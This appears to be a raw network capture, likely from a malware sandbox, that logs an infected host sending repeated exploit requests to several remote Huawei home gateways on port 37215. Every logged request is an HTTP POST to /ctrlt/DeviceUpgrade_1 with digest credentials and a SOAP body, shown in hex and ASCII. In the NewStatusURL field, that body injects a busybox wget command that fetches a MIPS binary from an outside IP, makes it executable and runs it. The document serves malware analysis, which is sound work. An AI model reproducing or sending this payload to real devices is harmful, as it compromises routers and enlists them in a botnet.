Jan 1, 2024 12:54:51.004529953 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.13	46856	156.247.29.146	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:54:24.746892929 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:28.988545895 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:35.132530928 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:47.168596983 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:12.764606953 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.13	37286	156.77.138.242	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:54:24.868705034 CET	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.13	52830	156.247.18.169	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:54:25.048930883 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:26.620533943 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
